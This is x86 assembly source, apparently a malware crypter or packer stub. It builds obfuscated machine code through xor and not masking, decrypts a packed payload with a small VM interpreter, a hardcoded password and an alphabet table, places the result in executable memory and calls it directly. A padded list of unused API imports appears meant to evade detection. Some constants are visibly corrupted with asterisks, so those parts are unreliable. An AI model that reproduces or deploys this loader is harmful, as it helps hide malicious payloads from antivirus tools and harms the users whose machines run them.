Code:
format MS COFF
use32
include '%FASMINC%\win32a.inc'
include 'picovm.inc'
macro @ cmd, p {
PICOVM_CMD cmd, p
}
extrn crdata
extrn '__imp__GetStdHandle@4' as GetStdHandle:DWord
extrn '__imp__VirtualAlloc@16' as VirtualAlloc:DWord
extrn '__imp__WriteFile@20' as WriteFile:DWord
extrn '__imp__GetDC@4' as GetDC:DWord
extrn '__imp__BeginPaint@8' as BeginPaint:DWord
extrn '__imp__CreateMutexA@12' as CreateMutexA:DWord
extrn '__imp__CreateMutexW@12' as CreateMutexW:DWord
extrn '__imp__VirtualFree@12' as VirtualFree:DWord
extrn '__imp__GetLastError@0' as GetLastError:DWord
extrn '__imp__GetModuleHandleA@4' as GetModuleHandleA:DWord
extrn '__imp__GetModuleHandleW@4' as GetModuleHandleW:DWord
extrn '__imp__GetSystemInfo@4' as GetSystemInfo:DWord
extrn '__imp__GetVersionExA@4' as GetVersionExA:DWord
extrn '__imp__LocalAlloc@8' as LocalAlloc:DWord
extrn '__imp__CharUpperA@4' as CharUpperA:DWord
extrn '__imp__CreateDialogParamA@20' as CreateDialogParamA:DWord
extrn '__imp__CreateWindowExA@48' as CreateWindowExA:DWord
extrn '__imp__DefWindowProcA@16' as DefWindowProcA:DWord
extrn '__imp__DispatchMessageA@4' as DispatchMessageA:DWord
extrn '__imp__EndDialog@8' as EndDialog:DWord
extrn '__imp__EndPaint@8' as EndPaint:DWord
extrn '__imp__GetClassInfoExA@12' as GetClassInfoExA:DWord
extrn '__imp__GetMessageA@16' as GetMessageA:DWord
extrn '__imp__GetSystemMetrics@4' as GetSystemMetrics:DWord
extrn '__imp__LoadCursorA@8' as LoadCursorA:DWord
extrn '__imp__LoadIconA@8' as LoadIconA:DWord
extrn '__imp__PostQuitMessage@4' as PostQuitMessage:DWord
extrn '__imp__RegisterClassExA@4' as RegisterClassExA:DWord
extrn '__imp__SendMessageA@16' as SendMessageA:DWord
extrn '__imp__SendMessageW@16' as SendMessageW:DWord
extrn '__imp__SetDlgItemInt@16' as SetDlgItemInt:DWord
extrn '__imp__SetFocus@4' as SetFocus:DWord
extrn '__imp__SetWindowTextW@8' as SetWindowTextW:DWord
extrn '__imp__ShowWindow@8' as ShowWindow:DWord
extrn '__imp__TranslateMessage@4' as TranslateMessage:DWord
extrn '__imp__UpdateWindow@4' as UpdateWindow:DWord
extrn '__imp__GetDIBits@28' as GetDIBits:DWord
extrn '__imp__CreateCompatibleBitmap@12' as CreateCompatibleBitmap:DWord
extrn '__imp__GdiFlush@0' as GdiFlush:DWord
extrn '__imp__CombineRgn@16' as CombineRgn:DWord
extrn '__imp__CreateRectRgnIndirect@4' as CreateRectRgnIndirect:DWord
extrn '__imp__GetRegionData@12' as GetRegionData:DWord
extrn '__imp__SetStretchBltMode@8' as SetStretchBltMode:DWord
extrn '__imp__SelectObject@8' as SelectObject:DWord
extrn '__imp__CreateCompatibleDC@4' as CreateCompatibleDC:DWord
extrn '__imp__CreateDIBitmap@24' as CreateDIBitmap:DWord
extrn '__imp__BitBlt@36' as BitBlt:DWord
extrn '__imp__SetBkMode@8' as SetBkMode:DWord
extrn '__imp__CreateFontIndirectA@4' as CreateFontIndirectA:DWord
extrn '__imp__DPtoLP@12' as DPtoLP:DWord
extrn '__imp__GetDeviceCaps@8' as GetDeviceCaps:DWord
extrn '__imp__CreateFontA@56' as CreateFontA:DWord
extrn '__imp__StretchBlt@44' as StretchBlt:DWord
extrn '__imp__GetObjectA@12' as GetObjectA:DWord
extrn '__imp__SelectClipRgn@8' as SelectClipRgn:DWord
extrn '__imp__ExtTextOutA@32' as ExtTextOutA:DWord
struct PICOVM_DATA
context PICOVM_CONTEXT ?
picovm db 0x3E7 dup (?)
dstack dd 0x2D dup (?)
rstack dd 0x18 dup (?)
ends
section '.data' data readable writeable
pcode:
file 'pcode.bin'
section '.text' code readable executable
proc genvmimage, pPicoVMImage
mov ebx, [pPicoVMImage]
mov DWord [ebx], DWORD 0xE860
lea ebx, [ebx+0x4]
mov ecx, DWORD 0x2C830000
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
push DWORD 0x835D0624
pop eax
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov edx, DWORD 0x177706F8
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov edx, DWORD 0x7E8
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov eax, DWORD 0x6900D24F
xor eax, 0xFA76344F
mov DWord [ebx], eax
add ebx, DWORD 0x4
push DWORD 0xC82EAE56
pop DWord [ebx]
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xCB60F59
add ebx, DWORD 0x4
mov edi, DWORD 0xFFE90101
push edi
pop DWord [ebx]
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xBA4DEBD1
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xFFFFFFFA
lea ebx, [ebx+0x4]
push DWORD 0x896015EB
pop esi
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov edx, DWORD 0xFF6D1729
not edx
mov DWord [ebx], edx
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x5F7D1476
xor DWord [ebx], 0xE9721476
lea ebx, [ebx+0x4]
mov eax, DWORD 0xEC04AD5C
xor eax, 0x263DA417
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xFCBA0A72
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xF9FFFFFF
add ebx, DWORD 0x4
push DWORD 0x2CEBD089
pop eax
mov DWord [ebx], eax
add ebx, DWORD 0x4
push DWORD 0x890E4B8B
pop DWord [ebx]
add ebx, DWORD 0x4
push DWORD 0xE438331
pop eax
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xF8D23104
add ebx, DWORD 0x4
push DWORD 0xE860EEEB
pop edi
mov DWord [ebx], edi
add ebx, DWORD 0x4
mov ecx, DWORD 0xDAB65B27
xor ecx, 0xDAB65B4B
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
mov esi, DWORD 0x775D285
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov ecx, DWORD 0xFFFFFBBA
push ecx
pop DWord [ebx]
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xFBE37DD3
xor DWord [ebx], 0x703F962C
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x32970366
xor DWord [ebx], 0x731C0D2D
lea ebx, [ebx+0x4]
push DWORD 0xE6B83FC
pop DWord [ebx]
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x2F59C8F
xor DWord [ebx], 0xFA27AD8B
add ebx, DWORD 0x4
mov eax, DWORD 0xD23166EB
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov esi, DWORD 0xE840C031
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x7A6EF2C5
xor DWord [ebx], 0x7A6EF21F
add ebx, DWORD 0x4
mov esi, DWORD 0xB474F38D
mov DWord [ebx], esi
not DWord [ebx]
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xFC418B12
add ebx, DWORD 0x4
mov eax, DWORD 0x4126B83
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x3192C3F8
lea ebx, [ebx+0x4]
mov esi, DWORD 0x8A2C9C15
xor esi, 0xFEF65D5
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov esi, DWORD 0x890374D2
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x93231882
xor DWord [ebx], 0xC0A819D1
lea ebx, [ebx+0x4]
mov ecx, DWORD 0xFF3A8001
mov DWord [ebx], ecx
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x3FE80874
add ebx, DWORD 0x4
push DWORD 0x73000000
pop DWord [ebx]
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x3192C3F1
add ebx, DWORD 0x4
mov eax, DWORD 0xC031C3C0
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov ecx, DWORD 0xA3E8C4FE
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x73000000
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x66E2EE9
xor DWord [ebx], 0xC5BEA7EA
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x9CC9BE58
xor DWord [ebx], 0x15DBF5D3
lea ebx, [ebx+0x4]
mov esi, DWORD 0x1D5045E
xor esi, 0x1396874F
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
push DWORD 0xF76E4294
pop eax
xor eax, 0x34BC7390
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x12438B60
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x70B9860A
xor DWord [ebx], 0x5BB7D581
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xE8C10543
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xA532B02
add ebx, DWORD 0x4
mov ecx, DWORD 0xF802EAC1
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x3BBAD5A6
xor DWord [ebx], 0x2F9E812F
add ebx, DWORD 0x4
mov edx, DWORD 0x2EFBD1E2
xor edx, 0x32DF956B
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov eax, DWORD 0x3160C361
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x738B50C0
lea ebx, [ebx+0x4]
push DWORD 0x4E1F4217
pop DWord [ebx]
xor DWord [ebx], 0xAFA2CF16
add ebx, DWORD 0x4
mov esi, DWORD 0xBF18BBAE
xor esi, 0xB018BBAC
mov DWord [ebx], esi
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xF4E63A80
xor DWord [ebx], 0x3C6F3436
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xC701E0D1
lea ebx, [ebx+0x4]
mov esi, DWORD 0xB36AC19C
xor esi, 0xB4DCCECB
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov ecx, DWORD 0xE0C13F24
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
mov edi, DWORD 0x93A9BEFC
xor edi, 0x95417EFF
push edi
pop DWord [ebx]
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xF63FC8A1
xor DWord [ebx], 0xF63F8549
lea ebx, [ebx+0x4]
mov eax, DWORD 0x879DFDB
xor eax, 0x744ADDB
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x918EF578
xor DWord [ebx], 0x794FF2CF
add ebx, DWORD 0x4
mov ecx, DWORD 0x5E80106
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
mov esi, DWORD 0xB4B65D0
xor esi, 0xB4B645A
mov DWord [ebx], esi
add ebx, DWORD 0x4
mov eax, DWORD 0x24048155
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov ecx, DWORD 0xFFFFFED0
not ecx
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
mov edx, DWORD 0x127B8B50
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov eax, DWORD 0x7407A874
not eax
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x8822FDB9
xor DWord [ebx], 0xD2E101FE
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x8524048B
lea ebx, [ebx+0x4]
mov edx, DWORD 0x8B1575C0
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov esi, DWORD 0xF14245C
mov DWord [ebx], esi
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xE28312B6
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xDDFFD3C2
xor DWord [ebx], 0x56F3A7C5
lea ebx, [ebx+0x4]
mov edx, DWORD 0xD6010***
mov DWord [ebx], edx
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x3EBD231
add ebx, DWORD 0x4
mov esi, DWORD 0x89F99692
mov DWord [ebx], esi
add ebx, DWORD 0x4
mov eax, DWORD 0x7B8959F0
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov esi, DWORD 0x***8912
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x316082EB
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xEE25AFD3
xor DWord [ebx], 0x2FE7262C
add ebx, DWORD 0x4
mov ecx, DWORD 0x819608EA
mov DWord [ebx], ecx
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xFFE6
add ebx, DWORD 0x4
mov edx, DWORD 0xFF5AE800
mov DWord [ebx], edx
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x50B949D1
xor DWord [ebx], 0xA080B62E
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xEB4F037D
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x33B60F0B
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xD639C629
lea ebx, [ebx+0x4]
mov esi, DWORD 0x4F4F057D
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov ecx, DWORD 0xF801EBF9
mov DWord [ebx], ecx
add ebx, DWORD 0x4
mov eax, DWORD 0xFF56E997
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xD0FFFFFF
add ebx, DWORD 0x4
mov eax, DWORD 0x831089C3
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov edx, DWORD 0x66C308EF
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xF7EB1089
lea ebx, [ebx+0x4]
push DWORD 0xF3EB1088
pop DWord [ebx]
lea ebx, [ebx+0x4]
mov eax, DWORD 0x4C5EFB9D
xor eax, 0x67B53D14
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov esi, DWORD 0x27EBC601
mov DWord [ebx], esi
add ebx, DWORD 0x4
mov edx, DWORD 0xFB8A2D7A
not edx
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xE3EBC601
add ebx, DWORD 0x4
mov edx, DWORD 0x87E0EB46
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov ecx, DWORD 0x830F89CA
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
mov ecx, DWORD 0xFC304C7
mov DWord [ebx], ecx
add ebx, DWORD 0x4
push DWORD 0x14FEB149
pop ecx
mov DWord [ebx], ecx
not DWord [ebx]
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x4EB70FF4
lea ebx, [ebx+0x4]
mov esi, DWORD 0x8BEEEB01
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xE9EB014E
lea ebx, [ebx+0x4]
mov edi, DWORD 0x147399B2
xor edi, 0x97957223
mov DWord [ebx], edi
lea ebx, [ebx+0x4]
push DWORD 0x89C304EF
pop edx
mov DWord [ebx], edx
lea ebx, [ebx+0x4]
mov esi, DWORD 0x42F289C1
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xFFFE55E8
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x214D0817
xor DWord [ebx], 0xDDCF07E8
add ebx, DWORD 0x4
mov esi, DWORD 0x76FFFFFF
not esi
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov edx, DWORD 0x2B3A10DA
xor edx, 0xA2D2FB14
mov DWord [ebx], edx
lea ebx, [ebx+0x4]
mov esi, DWORD 0x2E11D17F
xor esi, 0x6CE358BE
push esi
pop DWord [ebx]
lea ebx, [ebx+0x4]
mov edx, DWORD 0xFFFE41E8
mov DWord [ebx], edx
add ebx, DWORD 0x4
push DWORD 0xE8820FFF
pop DWord [ebx]
lea ebx, [ebx+0x4]
mov edi, DWORD 0x1000000
mov DWord [ebx], edi
add ebx, DWORD 0x4
mov ecx, DWORD 0x6EDCA62F
xor ecx, 0xE7084DE1
mov DWord [ebx], ecx
add ebx, DWORD 0x4
mov edx, DWORD 0xD23192C1
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov eax, DWORD 0xA8760E08
not eax
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x2539B0ED
xor DWord [ebx], 0x14F15B15
lea ebx, [ebx+0x4]
mov ecx, DWORD 0x77D039C9
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xA848CCD2
xor DWord [ebx], 0xE7C185D3
lea ebx, [ebx+0x4]
mov edi, DWORD 0xCE431407
mov DWord [ebx], edi
not DWord [ebx]
lea ebx, [ebx+0x4]
mov edx, DWORD 0x72D039C9
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xF2EB49F5
add ebx, DWORD 0x4
mov eax, DWORD 0x979D016D
xor eax, 0xD576D16C
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x3A6554E9
xor DWord [ebx], 0xE48E96C0
add ebx, DWORD 0x4
mov esi, DWORD 0x6B1A88CD
xor esi, 0x51F16A3A
mov DWord [ebx], esi
add ebx, DWORD 0x4
mov ecx, DWORD 0x36EBD031
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xD3CA8792
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xF5DAECA1
xor DWord [ebx], 0x67F50749
add ebx, DWORD 0x4
mov edx, DWORD 0xC8D3CA87
mov DWord [ebx], edx
lea ebx, [ebx+0x4]
mov ecx, DWORD 0xAE924035
xor ecx, 0x290068DE
mov DWord [ebx], ecx
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xEBE0D3CA
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x39C93121
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x93CE6FB7
xor DWord [ebx], 0xDA091A67
add ebx, DWORD 0x4
mov eax, DWORD 0x2F650317
xor eax, 0xFF92C7FC
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x4F8B2FEB
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xF45789F4
add ebx, DWORD 0x4
mov edx, DWORD 0x4391101E
xor edx, 0xCA695797
mov DWord [ebx], edx
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x89C3FC4F
add ebx, DWORD 0x4
push DWORD 0xD23192C1
pop DWord [ebx]
add ebx, DWORD 0x4
mov eax, DWORD 0x4789F1F7
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
push DWORD 0xFF65E9F8
pop DWord [ebx]
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x8792FFFF
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xBF07A6FB
xor DWord [ebx], 0x54C77531
lea ebx, [ebx+0x4]
mov edi, DWORD 0xEBD021F1
mov DWord [ebx], edi
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xEBD009ED
lea ebx, [ebx+0x4]
mov edi, DWORD 0x578992E9
mov DWord [ebx], edi
add ebx, DWORD 0x4
mov eax, DWORD 0x637EDD17
xor eax, 0x6D954CEF
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xEB00B60F
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xB70FF8
lea ebx, [ebx+0x4]
push DWORD 0x61C6CA88
pop eax
xor eax, 0x614D3963
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x575D131E
xor DWord [ebx], 0x18D4FCF5
add ebx, DWORD 0x4
mov esi, DWORD 0x4040C3FC
mov DWord [ebx], esi
add ebx, DWORD 0x4
mov esi, DWORD 0xA8A740E9
xor esi, 0x6B4F8260
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov eax, DWORD 0x72FFFFFE
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x2E2C143
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x356D85CB
xor DWord [ebx], 0xE5447D42
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x83370722
xor DWord [ebx], 0xC4B837DD
lea ebx, [ebx+0x4]
push DWORD 0x3EB52BF8
pop ecx
xor ecx, 0xFC3CE804
mov DWord [ebx], ecx
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xABE84040
add ebx, DWORD 0x4
mov eax, DWORD 0x72FFFFFE
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov edx, DWORD 0xD189602B
mov DWord [ebx], edx
add ebx, DWORD 0x4
push DWORD 0x8B4B3949
pop DWord [ebx]
xor DWord [ebx], 0x40C2CECE
add ebx, DWORD 0x4
mov eax, DWORD 0x2E3C143
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov edx, DWORD 0x817221D6
mov DWord [ebx], edx
not DWord [ebx]
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xFC37FFFC
add ebx, DWORD 0x4
mov eax, DWORD 0x78FA5F3
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x4EF8361
lea ebx, [ebx+0x4]
mov eax, DWORD 0x4EF83C3
mov DWord [ebx], eax
lea ebx, [ebx+0x4]
push DWORD 0x1D241BC5
pop DWord [ebx]
xor DWord [ebx], 0xE0A4F306
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x372FFFF
lea ebx, [ebx+0x4]
mov eax, DWORD 0x44EBA2E1
xor eax, 0xD6286468
mov DWord [ebx], eax
add ebx, DWORD 0x4
push DWORD 0xB89C6578
pop DWord [ebx]
xor DWord [ebx], 0xB0B821F1
add ebx, DWORD 0x4
mov edx, DWORD 0x112391C3
mov DWord [ebx], edx
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0xA77C975B
xor DWord [ebx], 0xF6539E1A
add ebx, DWORD 0x4
mov edx, DWORD 0xD10CE302
mov DWord [ebx], edx
add ebx, DWORD 0x4
push DWORD 0x56F6AEC7
pop edx
not edx
mov DWord [ebx], edx
lea ebx, [ebx+0x4]
mov edi, DWORD 0x910B620F
mov DWord [ebx], edi
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x8471126
add ebx, DWORD 0x4
mov edi, DWORD 0x1EA6D631
xor edi, 0x56A8B331
mov DWord [ebx], edi
lea ebx, [ebx+0x4]
mov ecx, DWORD 0x6C16614A
xor ecx, 0xFD13E95B
mov DWord [ebx], ecx
lea ebx, [ebx+0x4]
mov edx, DWORD 0x11215127
mov DWord [ebx], edx
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x4A4199E4
xor DWord [ebx], 0xDB7E90CF
lea ebx, [ebx+0x4]
mov eax, DWORD 0x3FCFE6DB
mov DWord [ebx], eax
not DWord [ebx]
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x4900D151
add ebx, DWORD 0x4
push DWORD 0x5139D110
pop edi
mov DWord [ebx], edi
add ebx, DWORD 0x4
mov eax, DWORD 0x112CD129
mov DWord [ebx], eax
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0xD11E5137
add ebx, DWORD 0x4
mov esi, DWORD 0x6BDEBAE8
xor esi, 0xA2C8F2D2
mov DWord [ebx], esi
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x911B513D
lea ebx, [ebx+0x4]
mov DWord [ebx], DWORD 0x962BAC91
xor DWord [ebx], 0xC72D3C92
add ebx, DWORD 0x4
mov DWord [ebx], DWORD 0x89259133
lea ebx, [ebx+0x4]
mov BYTE [ebx], 0x3C
sub ebx, -1
mov BYTE [ebx], 0x88
add ebx, 1
mov BYTE [ebx], 0x4
ret
endp
public CryptMain as '_CryptMain@0'
proc CryptMain
local pUnpackedData:DWORD
local ppcode:DWORD
local palphabet:DWORD
local pefilesize:DWORD
local inpfsz:DWORD
local ppicovm:DWORD
local ppass:DWORD
local pvmctx:DWORD
local pmem:DWORD
local cdcrsize:DWORD
local pPackedData:DWORD
local pS:DWORD
local S[0x100]:BYTE
local iResult:DWORD
push esi
push edx
push ecx
push ebx
push eax
mov ebx, DWord [pmem]
lea ebx, [ebx+PICOVM_DATA.context]
mov DWord [pvmctx], ebx
stdcall DWord [VirtualAlloc], NULL, 0xACADBE71, MEM_TOP_DOWN or MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
push eax
pop DWord [pmem]
lea eax, [alphbody]
mov eax, DWord [pmem]
add eax, DWORD 0x1751
mov DWord [pUnpackedData], eax
lea ebx, [passbody]
push ebx
pop DWord [ppass]
lea eax, [crdata]
mov DWord [pPackedData], eax
mov eax, DWord [pmem]
lea esi, [eax+PICOVM_DATA.rstack]
lea edx, [eax+PICOVM_DATA.dstack]
mov DWord [eax+PICOVM_DATA.context._dstack_begin], edx
mov BYTE [eax+PICOVM_DATA.context._dstack_size], 0x18
mov DWord [eax+PICOVM_DATA.context._rstack_top], esi
mov DWord [eax+PICOVM_DATA.context._rstack_begin], esi
push edx
pop DWord [eax+PICOVM_DATA.context._dstack_top]
mov BYTE [eax+PICOVM_DATA.context._rstack_size], 0x2D
lea eax, [s]
push eax
pop DWord [pS]
lea ecx, [alphbody]
push ecx
pop DWord [palphabet]
mov DWord [cdcrsize], DWORD 0xAB7E6CA9
mov esi, DWord [pmem]
lea esi, [PICOVM_DATA.picovm+esi]
push esi
pop DWord [ppicovm]
push esi
pop DWord [ppicovm]
stdcall genvmimage, esi
lea ebx, [pcode]
push ebx
pop DWord [ppcode]
mov eax, PICOVM_FNC_DSPUSH
mov edx, DWord [pS]
push DWord [pvmctx]
pop ebx
call [ppicovm]
mov edx, DWord [ppass]
push PICOVM_FNC_DSPUSH
pop eax
push DWord [pvmctx]
pop ebx
call [ppicovm]
push DWord [cdcrsize]
pop edx
push PICOVM_FNC_DSPUSH
pop eax
mov ebx, DWord [pvmctx]
call [ppicovm]
push PICOVM_FNC_DSPUSH
pop eax
mov edx, DWord [pUnpackedData]
mov ebx, DWord [pvmctx]
call [ppicovm]
mov edx, DWord [palphabet]
mov ebx, DWord [pvmctx]
push PICOVM_FNC_DSPUSH
pop eax
call [ppicovm]
mov edx, DWord [pPackedData]
push DWord [pvmctx]
pop ebx
push PICOVM_FNC_DSPUSH
pop eax
call [ppicovm]
push PICOVM_FNC_RUN
pop eax
push DWord [ppcode]
pop edx
call [ppicovm]
mov edx, DWord [ppcode]
mov esi, DWord [pUnpackedData]
call esi
pop eax
pop ebx
pop ecx
pop edx
pop esi
mov eax, DWord [iResult]
ret
endp
passbody:
db 'Mq*hG$bm)iK%59a8', 0h
alphbody db \
0xB, 0xE, 0x21, 0x9, 0x39, 0x32, 0x2A, 0x13, 0x4B, 0x33, 0x2, 0x6, 0x22, 0x46, 0x25, 0x3F, \
0x10, 0x20, 0x1E, 0xC, 0x49, 0x17, 0xA, 0x45, 0x26, 0x28, 0x0, 0x16, 0x34, 0x2B, 0x2C, 0x35, \
0x4E, 0x1A, 0x15, 0x5, 0x4D, 0x42, 0x44, 0x2D, 0xF, 0x41, 0x4, 0x4A, 0x1, 0x50, 0x3D, 0xD, \
0x3B, 0x7, 0x3A, 0x3C, 0x14, 0x1B, 0x37, 0x4F, 0x48, 0x29, 0x8, 0x31, 0x24, 0x36, 0x47, 0x19, \
0x43, 0x27, 0x23, 0x51, 0x3, 0x1F, 0x18, 0x2E, 0x1D, 0x2F, 0x11, 0x54, 0x53, 0x3E, 0x52, 0x4C, \
0x30, 0x12, 0x40, 0x1C, 0x38